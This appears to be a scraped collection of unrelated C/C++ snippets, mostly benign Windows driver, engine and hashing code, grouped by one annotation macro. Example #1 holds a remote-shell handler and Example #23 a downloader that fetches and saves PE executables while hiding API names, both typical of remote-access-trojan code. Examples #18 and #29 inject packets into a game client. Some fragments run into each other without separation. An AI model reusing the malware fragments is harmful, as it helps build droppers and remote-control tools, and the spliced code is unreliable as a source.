Example #1
0
void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
	typedef BOOL (WINAPI *WriteFileT)
		(
		__in        HANDLE hFile,
		__in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
		__in        DWORD nNumberOfBytesToWrite,
		__out_opt   LPDWORD lpNumberOfBytesWritten,
		__inout_opt LPOVERLAPPED lpOverlapped
		);
	WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile");
	
	if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
	{
		NotifyDialogIsOpen();
		return;
	}
	
	unsigned long	ByteWrite;
	pWriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
}
Example #2
0
DEFINE_DBGVAR(0);



#define pbIn     ((BYTE *)pvIn)
#define pdwIn    ((DWORD *)pvIn)
#define pdwOut   ((DWORD *)pvOut)



ULONG
DrvEscape(
    __in SURFOBJ *pso,
    ULONG   iEsc,
    ULONG   cjIn,
    __in_bcount(cjIn)   PVOID   pvIn,
    ULONG   cjOut,
    __out_bcount(cjOut) PVOID   pvOut
)

/*++

Routine Description:

    Performs the escape functions.  Currently,  only 3 are defined -
    one to query the escapes supported,  the other for raw data, and the
    last for setting the COPYCOUNT.


Arguments:
Example #3
0
					m_salityEp = salityEp;
					if (FAILED(m_emul->ReadMemory((DWORD_PTR)salityEp + 0x1778, m_OepCode, m_dwOepCodeSize)))
					{
						delete[] m_OepCode;
						m_OepCode = NULL;
						m_dwOepCodeSize = 0;
					}
				}
			}
		}
	}
	m_emul->StopEmulator();
	delete[] sality;
}

BOOL CKillVirus::VerifySignature(__in_bcount(size) LPBYTE buffer, __in DWORD const size)
{
	static unsigned char signature1[] = {
		0xE8, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x8B, 0xC5,
		0x81, 0xED, 0x05, 0x10, 0x40, 0x00, 0x8A, 0x9D,
		0x73, 0x27, 0x40, 0x00, 0x84, 0xDB, 0x74, 0x13,
		0x81, 0xC4 };
	if (memcmp(buffer, signature1, sizeof(signature1))) return FALSE;

	static unsigned char signature2[] = {
		0x89, 0x85, 0x54, 0x12, 0x40, 0x00, 0xEB, 0x19,
		0xC7, 0x85, 0x4D, 0x14, 0x40, 0x00, 0x22, 0x22,
		0x22, 0x22, 0xC7, 0x85, 0x3A, 0x14, 0x40, 0x00,
		0x33, 0x33, 0x33, 0x33, 0xE9, 0x82, 0x00, 0x00,
		0x00, 0x33, 0xDB, 0x64, 0x67, 0x8B, 0x1E, 0x30,
		0x00, 0x85, 0xDB, 0x78, 0x0E, 0x8B, 0x5B, 0x0C };
    // Call to set VALID flag for CFG check
    ThreadContext::GetContextForCurrentThread()->SetValidCallTargetForCFG(buffer);

    // Update object state only at the end when everything has succeeded - and no exceptions can be thrown.
    ThunkBlock* block = this->thunkBlocks.PrependNode(allocator, buffer);
    UNREFERENCED_PARAMETER(block);
#if PDATA_ENABLED
    block->SetPdata(pdataTable);
#endif
    this->thunkCount = thunkCount;
    this->thunkBuffer = buffer;
}


#if _M_ARM
void InterpreterThunkEmitter::EncodeInterpreterThunk(__in_bcount(thunkSize) BYTE* thunkBuffer, __in_bcount(thunkSize) BYTE* thunkBufferStartAddress, __in const DWORD thunkSize, __in_bcount(epilogSize) BYTE* epilogStart, __in const DWORD epilogSize)
{
    _Analysis_assume_(thunkSize == HeaderSize);
    // Encode MOVW
    DWORD lowerThunkBits = (uint32)this->interpreterThunk & 0x0000FFFF;
    DWORD movW = EncodeMove(/*Opcode*/ 0x0000F240, /*register*/1, lowerThunkBits);
    Emit(thunkBuffer,ThunkAddressOffset, movW);

    // Encode MOVT
    DWORD higherThunkBits = ((uint32)this->interpreterThunk & 0xFFFF0000) >> 16;
    DWORD movT = EncodeMove(/*Opcode*/ 0x0000F2C0, /*register*/1, higherThunkBits);
    Emit(thunkBuffer, ThunkAddressOffset + sizeof(movW), movT);

    // Encode LDR - Load of function Body
    thunkBuffer[FunctionBodyOffset] = Js::JavascriptFunction::GetOffsetOfFunctionInfo();
Example #5
0
#include "Tool_Abstract.h"

#include "Global.h"

#include <QProcess>
#include <QMutex>
#include <QMutexLocker>
#include <QLibrary>
#include <QProcessEnvironment>
#include <QDir>

/*
 * Win32 API definitions
 */
typedef HANDLE (WINAPI *CreateJobObjectFun)(__in_opt LPSECURITY_ATTRIBUTES lpJobAttributes, __in_opt LPCSTR lpName);
typedef BOOL (WINAPI *SetInformationJobObjectFun)(__in HANDLE hJob, __in JOBOBJECTINFOCLASS JobObjectInformationClass, __in_bcount(cbJobObjectInformationLength) LPVOID lpJobObjectInformation, __in DWORD cbJobObjectInformationLength);
typedef BOOL (WINAPI *AssignProcessToJobObjectFun)(__in HANDLE hJob, __in HANDLE hProcess);

/*
 * Static vars
 */
QMutex *AbstractTool::m_mutex_startProcess = NULL;
HANDLE AbstractTool::m_handle_jobObject = NULL;

/*
 * Constructor
 */
AbstractTool::AbstractTool(void)
{
    static CreateJobObjectFun CreateJobObjectPtr = NULL;
    static SetInformationJobObjectFun SetInformationJobObjectPtr = NULL;
Example #6
0
	*ppOutput = (uint8*)GlobalAlloc( GPTR, *pnOutput );
	if ( ! *ppOutput )
		return FALSE;

	CopyMemory( *ppOutput, m_pList, *pnOutput );

	return TRUE;
}

LPCVOID CED2K::GetRawPtr() const
{
	return (LPCVOID)m_pList;
}

void CED2K::GetRoot(__in_bcount(16) uchar* pHash) const
{
	std::copy( &m_pRoot[ 0 ], &m_pRoot[ 4 ], (uint32*)pHash );
}

void CED2K::FromRoot(__in_bcount(16) const uchar* pHash)
{
	Clear();

	m_nList = 1;
	m_pList = new CMD4::Digest[ m_nList ];
	std::copy( (uint32*)pHash, ( (uint32*)pHash ) + 4, &m_pRoot[ 0 ] );
	std::copy( (uint32*)pHash, ( (uint32*)pHash ) + 4, &m_pList[ 0 ][ 0 ] );
}

//////////////////////////////////////////////////////////////////////
Example #7
0
    BOOL	readStatus;

    readStatus = ReadFile(HidDevice->HidDevice, HidDevice->InputReportBuffer, HidDevice->Caps.InputReportByteLength, &bytesRead, lpOverlapped);
                          
    if (!readStatus) 
    {
        return GetLastError() == ERROR_IO_PENDING;
    }
    else 
    {
        SetEvent(lpOverlapped->hEvent);
        return TRUE;
    }
}

BOOLEAN UnpackReport(__in_bcount(ReportBufferLength) PCHAR ReportBuffer, IN USHORT ReportBufferLength, IN HIDP_REPORT_TYPE ReportType, IN OUT PHID_DATA Data, IN ULONG DataLength, IN PHIDP_PREPARSED_DATA Ppd)
{
    ULONG       numUsages;
    ULONG       i;
    UCHAR       reportID;
    ULONG       Index;
    ULONG       nextUsage;

    reportID = ReportBuffer[0];

    for (i = 0; i < DataLength; i++, Data++) 
    {
        if (reportID == Data->ReportID) 
        {
            if (Data->IsButtonData) 
            {
Example #8
0
    {
        hr = PathExpand(&wzValue2, pVariant2->bstrVal, PATH_EXPAND_ENVIRONMENT | PATH_EXPAND_FULLPATH);
        ExitOnFailure1(hr, "Failed to expand path %ls", pVariant2->bstrVal);
    }

    fEqual = CSTR_EQUAL == ::CompareStringW(LOCALE_INVARIANT, NORM_IGNORECASE, wzValue1, -1, wzValue2, -1);

LExit:
    ReleaseNullStr(wzValue1);
    ReleaseNullStr(wzValue2);
    return fEqual;
}

BOOL DAPI IsMatchingAppHostElementCallback(
    __in IAppHostElement *pElement,
    __in_bcount(sizeof(IIS7_APPHOSTELEMENTCOMPARISON)) LPVOID pContext
    )
{
    IIS7_APPHOSTELEMENTCOMPARISON* pComparison = (IIS7_APPHOSTELEMENTCOMPARISON*) pContext;

    return Iis7IsMatchingAppHostElement(pElement, pComparison);
}

extern "C" BOOL DAPI Iis7IsMatchingAppHostElement(
    __in IAppHostElement *pElement,
    __in IIS7_APPHOSTELEMENTCOMPARISON* pComparison
    )
{
    HRESULT hr = S_OK;
    BOOL fResult = FALSE;
    IAppHostProperty *pProperty = NULL;
Example #9
0
}

_Must_inspect_result_
__drv_maxIRQL(DISPATCH_LEVEL)
WDFAPI
NTSTATUS
WDFEXPORT(WdfCxDeviceInitAssignWdmIrpPreprocessCallback)(
    __in
    PWDF_DRIVER_GLOBALS DriverGlobals,
    __in
    PWDFCXDEVICE_INIT   CxDeviceInit,
    __in
    PFN_WDFCXDEVICE_WDM_IRP_PREPROCESS EvtCxDeviceWdmIrpPreprocess,
    __in
    UCHAR MajorFunction,
    __drv_when(NumMinorFunctions > 0, __in_bcount(NumMinorFunctions))
    __drv_when(NumMinorFunctions == 0, __in_opt)
    PUCHAR MinorFunctions,
    __in
    ULONG NumMinorFunctions
    )
{
    DDI_ENTRY();
        
    PFX_DRIVER_GLOBALS fxDriverGlobals;
    PFX_DRIVER_GLOBALS cxDriverGlobals;
    NTSTATUS status;

    cxDriverGlobals = GetFxDriverGlobals(DriverGlobals);
    FxPointerNotNull(cxDriverGlobals, CxDeviceInit);
    fxDriverGlobals = CxDeviceInit->ClientDriverGlobals;
Example #10
0
* This software is released under either the GNU Library General Public
* License (see LICENSE.LGPL) or the BSD License (see LICENSE.BSD).
* 
* Note that the only valid version of the LGPL license as far as this
* project is concerned is the original GNU Library General Public License
* Version 2.1, February 1999
*
*/

#include "precompiled.h"
#include "esteidcm.h"

DWORD WINAPI CardDeleteContainer(__in PCARD_DATA pCardData, __in BYTE bContainerIndex, __in DWORD dwReserved)
{ dbgPrintf("[%s:%d] CardDeleteContainer:dummy",__FUNCTION__, __LINE__); return ret(E_UNSUPPORTED); }

DWORD WINAPI CardUnblockPin(__in PCARD_DATA  pCardData, __in LPWSTR pwszUserId, __in_bcount(cbAuthenticationData)PBYTE pbAuthenticationData, __in DWORD cbAuthenticationData,
	__in_bcount(cbNewPinData)PBYTE pbNewPinData, __in DWORD cbNewPinData, __in DWORD cRetryCount, __in DWORD dwFlags)
{ dbgPrintf("[%s:%d] CardUnblockPin:dummy",__FUNCTION__, __LINE__); return ret(E_UNSUPPORTED);}

DWORD WINAPI CardChangeAuthenticator(__in PCARD_DATA  pCardData, __in LPWSTR pwszUserId, __in_bcount(cbCurrentAuthenticator)PBYTE pbCurrentAuthenticator, __in DWORD cbCurrentAuthenticator,
	__in_bcount(cbNewAuthenticator)PBYTE pbNewAuthenticator, __in DWORD cbNewAuthenticator, __in DWORD cRetryCount, __in DWORD dwFlags, __out_opt PDWORD pcAttemptsRemaining)
{ dbgPrintf("[%s:%d] CardChangeAuthenticator:dummy",__FUNCTION__, __LINE__); return ret(E_UNSUPPORTED);}

DWORD WINAPI CardCreateDirectory(__in PCARD_DATA pCardData, __in LPSTR pszDirectoryName, __in CARD_DIRECTORY_ACCESS_CONDITION AccessCondition)
{ dbgPrintf("[%s:%d] CardCreateDirectory:dummy",__FUNCTION__, __LINE__); return ret(E_UNSUPPORTED); }

DWORD WINAPI CardDeleteDirectory(__in PCARD_DATA pCardData, __in LPSTR pszDirectoryName)
{ dbgPrintf("[%s:%d] CardDeleteDirectory:dummy",__FUNCTION__, __LINE__); return ret(E_UNSUPPORTED);}

DWORD WINAPI CardCreateFile(__in PCARD_DATA pCardData, __in LPSTR pszDirectoryName, __in LPSTR pszFileName, __in DWORD cbInitialCreationSize, 
	__in CARD_FILE_ACCESS_CONDITION AccessCondition)
Example #11
0
        }
        default:
        {
            res = TTYPE;
        }
        }
        break;
    default:
        res = TNOTIMPLEMENTED;
        break;
    }

    return res;
}

EXPORT UNSIGNED32 STDCALL TaggantPutInfo(__inout PTAGGANTOBJ pTaggantObj, ENUMTAGINFO eKey, UNSIGNED32 pSize, __in_bcount(pSize) PINFO pInfo)
{
    UNSIGNED32 res = TNOTIMPLEMENTED;

    if (!lib_initialized)
    {
        return TLIBNOTINIT;
    }

    switch (get_lib_version(pTaggantObj))
    {
    case TAGGANT_LIBRARY_VERSION1:
        res = taggant_put_info(pTaggantObj->tagObj1, eKey, pSize, pInfo);
        break;
    case TAGGANT_LIBRARY_VERSION2:
        res = taggant2_put_info(pTaggantObj->tagObj2, eKey, pSize, pInfo);
Example #12
0
}


void
CMediaType::SetVariableSize() {
    bFixedSizeSamples = FALSE;
}


void
CMediaType::SetTemporalCompression(BOOL bCompressed) {
    bTemporalCompression = bCompressed;
}

BOOL
CMediaType::SetFormat(__in_bcount(cb) BYTE * pformat, ULONG cb)
{
    if (NULL == AllocFormatBuffer(cb))
	return(FALSE);

    ASSERT(pbFormat);
    memcpy(pbFormat, pformat, cb);
    return(TRUE);
}


// set the type of the media type format block, this type defines what you
// will actually find in the format pointer. For example FORMAT_VideoInfo or
// FORMAT_WaveFormatEx. In the future this may be an interface pointer to a
// property set. Before sending out media types this should be filled in.
        localExportRecordList = nullptr;
        indirectExportRecordList = nullptr;
        starExportRecordList = nullptr;
        childrenModuleSet = nullptr;
        parentModuleList = nullptr;
        if (!isShutdown)
        {
            if (parser != nullptr)
            {
                AllocatorDelete(ArenaAllocator, scriptContext->GeneralAllocator(), parser);
                parser = nullptr;
            }
        }
    }

    HRESULT SourceTextModuleRecord::ParseSource(__in_bcount(sourceLength) byte* sourceText, uint32 sourceLength, SRCINFO * srcInfo, Var* exceptionVar, bool isUtf8)
    {
        Assert(!wasParsed);
        Assert(parser == nullptr);
        HRESULT hr = NOERROR;
        ScriptContext* scriptContext = GetScriptContext();
        CompileScriptException se;
        ArenaAllocator* allocator = scriptContext->GeneralAllocator();
        *exceptionVar = nullptr;
        if (!scriptContext->GetConfig()->IsES6ModuleEnabled())
        {
            return E_NOTIMPL;
        }
        // Host indicates that the current module failed to load.
        if (sourceText == nullptr)
        {
    SourceTextModuleRecord* SourceTextModuleRecord::Create(ScriptContext* scriptContext)
    {
        Recycler* recycler = scriptContext->GetRecycler();
        SourceTextModuleRecord* childModuleRecord;
        childModuleRecord = RecyclerNew(recycler, Js::SourceTextModuleRecord, scriptContext);
        // There is no real reference to lifetime management in ecmascript
        // The life time of a module record should be controlled by the module registry as defined in WHATWG module loader spec
        // in practice the modulerecord lifetime should be the same as the scriptcontext so it could be retrieved for the same
        // site. DOM might hold a reference to the module as well after the initialize the module. 
        // In our implementation, we'll use the moduleId in bytecode to identify the module.
        childModuleRecord->moduleId = scriptContext->GetLibrary()->EnsureModuleRecordList()->Add(childModuleRecord);
        return childModuleRecord;
    }

    HRESULT SourceTextModuleRecord::ParseSource(__in_bcount(sourceLength) byte* sourceText, unsigned long sourceLength, Var* exceptionVar, bool isUtf8)
    {
        Assert(!wasParsed);
        Assert(parser == nullptr);
        HRESULT hr = NOERROR;
        ScriptContext* scriptContext = GetScriptContext();
        CompileScriptException se;
        ArenaAllocator* allocator = EnsureTempAllocator();
        *exceptionVar = nullptr;
        if (!scriptContext->GetConfig()->IsES6ModuleEnabled())
        {
            return E_NOTIMPL;
        }
        try
        {
            AUTO_NESTED_HANDLED_EXCEPTION_TYPE((ExceptionType)(ExceptionType_OutOfMemory | ExceptionType_StackOverflow));
Example #15
0
#include "stdafx.h"
#include "newsha256.h"
#include <wincrypt.h>
#include <Windows.h>

HRESULT SHA256HashData(__in_bcount(cbHashDataLength) BYTE *pbHashData, __in DWORD cbHashDataLength, __out SHA256_HASHVAL *pHashValue)
{
    HCRYPTPROV hcryptprov;
    BOOL fReturn = TRUE;
    fReturn = CryptAcquireContextW(&hcryptprov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    HRESULT hr = E_FAIL;
    if (hcryptprov != NULL && fReturn == TRUE)
    {
        HCRYPTHASH hash = NULL;
        if (CryptCreateHash(hcryptprov, CALG_SHA_256, 0, 0, &hash))
        {
            if (CryptHashData(hash, pbHashData, cbHashDataLength, 0))
            {
                DWORD dwHashValSize = sizeof(pHashValue->data);
                if (CryptGetHashParam(hash, HP_HASHVAL, pHashValue->data, &dwHashValSize, 0))
                {
                    hr = S_OK;
                }
                else
                {
                    hr = HRESULT_FROM_WIN32(GetLastError());
                }
            }
            else
            {
                hr = HRESULT_FROM_WIN32(GetLastError());
Example #16
0
        {
            // too short
            *BytesNeeded = ulInfoLen;
            Status = NDIS_STATUS_BUFFER_TOO_SHORT;
        }
    }

    DEBUGP(MP_LOUD, ("<--- MPQueryInformation Status = 0x%08x\n", Status));
    
    return(Status);
}     

NDIS_STATUS MPSetInformation(
    IN NDIS_HANDLE                                  MiniportAdapterContext,
    IN NDIS_OID                                     Oid,
    __in_bcount(InformationBufferLength) IN PVOID   InformationBuffer,
    IN ULONG                                        InformationBufferLength,
    OUT PULONG                                      BytesRead,
    OUT PULONG                                      BytesNeeded)
/*++

Routine Description:

    This is the handler for an OID set operation. 

Arguments:

    MiniportAdapterContext      Pointer to the adapter structure
    Oid                         Oid for this query
    InformationBuffer           Buffer for information
    InformationBufferLength     Size of this buffer
        if (!NT_SUCCESS(status)) {
            return status;
        }

        if (total > GetBufferSize()) {
            return STATUS_INTEGER_OVERFLOW;
        }

        return STATUS_SUCCESS;
    }

    _Must_inspect_result_
    NTSTATUS
    CopyFromPtr(
        __in_opt PWDFMEMORY_OFFSET DestinationOffsets,
        __in_bcount(SourceBufferLength) PVOID SourceBuffer,
        __in size_t SourceBufferLength,
        __in_opt PWDFMEMORY_OFFSET SourceOffsets
        );

    _Must_inspect_result_
    NTSTATUS
    CopyToPtr(
        __in_opt PWDFMEMORY_OFFSET SourceOffsets,
        __out_bcount(DestinationBufferLength) PVOID DestinationBuffer,
        __in size_t DestinationBufferLength,
        __in_opt PWDFMEMORY_OFFSET DestinationOffsets
        );

protected:
    static
Example #18
0
      //set class ptr
      mov ecx,dwMSSendObject
      mov ecx,[ecx]
 
      //push packet and fake return address
      push [esp+4]
      push dwMSSendRetVal
 
      //send packet
      jmp [dwMSSendMethod]
  }
}
 
 
// Send a MapleStory packet using byte data
DWORD WINAPI SendPacket ( __in_bcount(nLength) LPBYTE lpBytes, __in DWORD dwLength )
{
//21st Century / ZPE
    COutPacket Packet;
 
    ZeroMemory(&Packet, sizeof(COutPacket));
 
    Packet.lpbData  = lpBytes;
    Packet.dwcbData = dwLength;
 
    try {
        InjectPacket(&Packet);
        return TRUE;
 
    } catch (...) {
        return FALSE;
Example #19
0
#if EFSYS_OPT_BOOTCFG

/*
 * Maximum size of BOOTCFG block across all nics as understood by SFCgPXE.
 * A multiple of 0x100 so trailing 0xff characters don't contrinbute to the
 * checksum.
 */
#define	BOOTCFG_MAX_SIZE 0x1000

#define	DHCP_END (uint8_t)0xff
#define	DHCP_PAD (uint8_t)0

static	__checkReturn		uint8_t
efx_bootcfg_csum(
	__in			efx_nic_t *enp,
	__in_bcount(size)	caddr_t data,
	__in			size_t size)
{
	_NOTE(ARGUNUSED(enp))

	unsigned int pos;
	uint8_t checksum = 0;

	for (pos = 0; pos < size; pos++)
		checksum += data[pos];
	return (checksum);
}

static	__checkReturn		int
efx_bootcfg_verify(
	__in			efx_nic_t *enp,
Example #20
0
void WpdBaseDriver::Uninitialize()
{
    TraceEvents(TRACE_LEVEL_INFORMATION, TRACE_FLAG_DRIVER, "%!FUNC! Entry");

    m_Target.Delete();
    m_Connection.Disconnect();

    m_pWDFDevice = NULL;
}

/**
 * This method is called to extract the sensor data and interval prop from the raw serial buffer
 * and to post a new reading PnP event if valid data is received
 */

HRESULT WpdBaseDriver::ProcessReadData(__in_bcount(cbData) BYTE* pData, size_t cbData)
{
    HRESULT     hr = HRESULT_FROM_WIN32(ERROR_INVALID_DATA);
    LONGLONG    llSensorReading  = 0; // was originally DWORD but the accelerometers required addt'l bytes
    DWORD       dwUpdateInterval = 0;

    // Parse the serial data
    CHAR  szInterval[INTERVAL_DATA_LENGTH + 1]  = {0};  // last byte is always null
    CHAR* szReading                             = NULL; // placeholder pointer

    const SENSOR_INFO c_SensorInfoTable [] = {
      {'1', COMPASS_DATA_LENGTH},   // Compass
      {'2', SENSIRON_DATA_LENGTH},  // Temp/humidity sensor 
      {'3', FLEX_DATA_LENGTH},      // Flexiforce sensor
      {'4', PING_DATA_LENGTH},      // Ultrasonic ping 
      {'5', PIR_DATA_LENGTH},       // Passive infrared
    hSessionKey - The handle belonging to the session that is being started.
    pvCallerData - Pointer to the caller specific data for this session.  This 
                   data was specified in the call to 
                   WdsTransportClientStartSession.
    FileSize - The total size of the file being transferred over multicast.

--*/       
{
    printf("File transfer started\n");
}

VOID
ReceiveContentsCallback(
    __in HANDLE hSessionKey,
    __in PVOID pCallerData,
    __in_bcount(ulSize) PVOID pContents,
    __in ULONG ulSize,
    __in PULARGE_INTEGER pContentOffset
    )
/*++

Routine Description:

    The PFN_WdsTransportClientReceiveContents callback is used by the multicast 
    client to indicate that a block of data is ready to be consumed.

Arguments:

    hSessionKey - The handle belonging to the session that is being started.
    pvCallerData - Pointer to the caller specific data for this session.  This 
                   data was specified in the call to 
Example #22
0
		}
		default:
			_ASSERT(FALSE);
			SetLastError(ERROR_INVALID_DATA);
			return NULL;
	}

}

BOOL
WINAPI
NdasPortCtlSetNdasDeviceUserIdPassword(
	__inout PNDAS_LOGICALUNIT_DESCRIPTOR LogicalUnitDescriptor,
	__in ULONG TargetNodeIndex,
	__in ULONG UserId,
	__in_bcount(UserPasswordLength) CONST BYTE* UserPassword,
	__in ULONG UserPasswordLength
){
	_ASSERT(NULL != LogicalUnitDescriptor);

	_ASSERT(sizeof(NDAS_LOGICALUNIT_DESCRIPTOR) == LogicalUnitDescriptor->Version);
	if (sizeof(NDAS_LOGICALUNIT_DESCRIPTOR) != LogicalUnitDescriptor->Version)
	{
		SetLastError(ERROR_INVALID_DATA);
		return FALSE;
	}

	switch(LogicalUnitDescriptor->Type) {
		case NdasAtaDevice: {
			SetLastError(ERROR_NOT_SUPPORTED);
			return FALSE;
Example #23
0
bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
{
	typedef BOOL (WINAPI *WriteFileT)
		(
		__in        HANDLE hFile,
		__in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
		__in        DWORD nNumberOfBytesToWrite,
		__out_opt   LPDWORD lpNumberOfBytesWritten,
		__inout_opt LPOVERLAPPED lpOverlapped
		);
	WriteFileT pWriteFile = (WriteFileT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteFile");
	
	typedef HANDLE (WINAPI *CreateFileAT)
		(
		__in     LPCSTR lpFileName,
		__in     DWORD dwDesiredAccess,
		__in     DWORD dwShareMode,
		__in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
		__in     DWORD dwCreationDisposition,
		__in     DWORD dwFlagsAndAttributes,
		__in_opt HANDLE hTemplateFile
		);	
	CreateFileAT pCreateFileA= (CreateFileAT)GetProcAddress(LoadLibrary("kernel32.dll"),"CreateFileA");
	
	typedef BOOL (WINAPI *CloseHandleT)
		(
		__in HANDLE hObject
		);
	char DDZGlGm[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
	CloseHandleT pCloseHandle = (CloseHandleT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DDZGlGm);

	HINTERNET	hInternet, hUrl;
	HANDLE		hFile;
	char		buffer[1024];
	DWORD		dwBytesRead = 0;
	DWORD		dwBytesWritten = 0;
	BOOL		bIsFirstPacket = true;
	BOOL		bRet = true;
	
	hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
	if (hInternet == NULL)
		return false;
	
	hUrl = InternetOpenUrl(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
	if (hUrl == NULL)
		return false;
	
	hFile = pCreateFileA(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
	
	if (hFile != INVALID_HANDLE_VALUE)
	{
		do
		{
			memset(buffer, 0, sizeof(buffer));
			InternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
			// 由判断第一个数据包是不是有效的PE文件
			if (bIsFirstPacket && ((PIMAGE_DOS_HEADER)buffer)->e_magic != IMAGE_DOS_SIGNATURE)
			{
				bRet = false;
				break;
			}
			bIsFirstPacket = false;
			
			pWriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
		} while(dwBytesRead > 0);
		pCloseHandle(hFile);
	}
	
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hInternet);
	
	return bRet;
}
Example #24
0
#ifdef HASHLIB_USE_ASM
extern "C" void __stdcall MD4_Add_p5(CMD4::MD4State*, const void* pData, std::size_t nLength);
#endif

const unsigned char hashPadding[64] = {
	0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};


CMD4::CMD4()
{
	Reset();
}

void CMD4::GetHash(__in_bcount(16) uchar* pHash) const
{
	std::transform(m_State.m_nState,
		m_State.m_nState + sizeof(m_State.m_nState) / sizeof(m_State.m_nState[0]),
		(uint32*)pHash, transformToLE< uint32 >);
}

void CMD4::Reset()
{
	m_State.m_nCount = 0;
	// Load magic initialization constants
	m_State.m_nState[0] = 0x67452301;
	m_State.m_nState[1] = 0xefcdab89;
	m_State.m_nState[2] = 0x98badcfe;
	m_State.m_nState[3] = 0x10325476;
}
Example #25
0
	}
}

/*----------------------------------------------------------------------
 *
 * Internal routines.
 *
 */

HRESULT JptrcrpLoadModule(
	__in PJPTRCRP_FILE File,
	__in ULONGLONG LoadAddress,
	__in ULONG Size,
	__in PANSI_STRING NtPathOfModule,
	__in USHORT DebugSize,
	__in_bcount( DebugSize ) PIMAGE_DEBUG_DIRECTORY DebugDir,
	__out PJPTRCRP_LOADED_MODULE *LoadedModule
	)
{
	HRESULT Hr;
	PJPTRCRP_LOADED_MODULE Module;
	MODLOAD_DATA ModLoadData;
	PWSTR Name;
	PJPHT_HASHTABLE_ENTRY OldEntry;
	DWORD64 SymBase;

	ASSERT( LoadAddress > 0 );
	ASSERT( Size > 0 );
	ASSERT( NtPathOfModule );
	ASSERT( DebugSize > 0 );
	ASSERT( DebugDir );
{
	SCardLog::writeLog("[%s:%d] CardDestroyDHAgreement:dummy",__FUNCTION__, __LINE__);
	return SCARD_E_UNSUPPORTED_FEATURE;
}

DWORD WINAPI CspGetDHAgreement(__in PCARD_DATA pCardData, 
							   __in PVOID hSecretAgreement, 
							   __out BYTE* pbSecretAgreementIndex,
							   __in DWORD dwFlags)
{
	SCardLog::writeLog("[%s:%d] CspGetDHAgreement:dummy",__FUNCTION__, __LINE__);
	return SCARD_E_UNSUPPORTED_FEATURE;
}

DWORD WINAPI CardAuthenticateChallenge(__in PCARD_DATA  pCardData,
									   __in_bcount(cbResponseData) PBYTE pbResponseData,
									   __in DWORD cbResponseData,
									   __out_opt PDWORD pcAttemptsRemaining)
{
	SCardLog::writeLog("[%s:%d] CardAuthenticateChallenge:dummy",__FUNCTION__, __LINE__);
	return SCARD_E_UNSUPPORTED_FEATURE;
}

DWORD WINAPI CardGetChallengeEx(__in PCARD_DATA pCardData,
								__in PIN_ID PinId,
								__deref_out_bcount(*pcbChallengeData) PBYTE *ppbChallengeData,
								__out PDWORD pcbChallengeData,
								__in DWORD dwFlags )
{
	SCardLog::writeLog("[%s:%d] CardGetChallengeEx:dummy",__FUNCTION__, __LINE__);
	return SCARD_E_UNSUPPORTED_FEATURE;
Example #27
0
File: Wmi.c Project: Shmuma/usbip
    return(status);
}

//
// WMI System Call back functions
//

NTSTATUS
Bus_SetWmiDataItem(
    __in PDEVICE_OBJECT DeviceObject,
    __in PIRP Irp,
    __in ULONG GuidIndex,
    __in ULONG InstanceIndex,
    __in ULONG DataItemId,
    __in ULONG BufferSize,
    __in_bcount(BufferSize) PUCHAR Buffer
    )
/*++

Routine Description:

    This routine is a callback into the driver to set for the contents of
    a data block. When the driver has finished filling the data block it
    must call WmiCompleteRequest to complete the irp. The driver can
    return STATUS_PENDING if the irp cannot be completed immediately.

Arguments:

    DeviceObject is the device whose data block is being queried

    Irp is the Irp that makes this request
Example #28
0
#pragma once

XBOX_PROC(BOOL, ReadFile, (
		  __in        HANDLE hFile,
		  __out_bcount_part(nNumberOfBytesToRead, *lpNumberOfBytesRead) LPVOID lpBuffer,
		  __in        DWORD nNumberOfBytesToRead,
		  __out_opt   LPDWORD lpNumberOfBytesRead,
		  __inout_opt LPOVERLAPPED lpOverlapped
		  ));
#define ApiReadFile XboxApi.ReadFile



XBOX_PROC(BOOL, WriteFile, (
		  __in        HANDLE hFile,
		  __in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
		  __in        DWORD nNumberOfBytesToWrite,
		  __out_opt   LPDWORD lpNumberOfBytesWritten,
		  __inout_opt LPOVERLAPPED lpOverlapped
		  ));
#define ApiWriteFile XboxApi.WriteFile



XBOX_PROC(BOOL, SetEndOfFile, (
		  __in HANDLE hFile
		  ));
#define ApiSetEndOfFile XboxApi.SetEndOfFile


Example #29
0
//********************************************************************************************
//**************************************  Send hook  ******************************************
//*********************************************************************************************
lpfnSendPacket _SendPacket = reinterpret_cast<lpfnSendPacket>(0x004C8B90);//(0x004AE940);//(0x004ABE10);
const LPVOID lpvSomeRet = reinterpret_cast<const LPVOID>(0x00764fd7);//(0x004AE936);//(0x004ABE07);

//Decode & Encode Functions
/////
//SEND FUNCTIONS/////
VOID (__fastcall * _InitPacket)(__out COutPacket* oPacket, __in DWORD dwEDX, __in LONG nType) = NULL;
VOID (__fastcall * _Encode1)(__inout COutPacket* oPacket, __in DWORD dwEDX, __in BYTE b) = NULL;
VOID (__fastcall * _Encode2)(__inout COutPacket* oPacket, __in DWORD dwEDX, __in WORD w) = NULL;
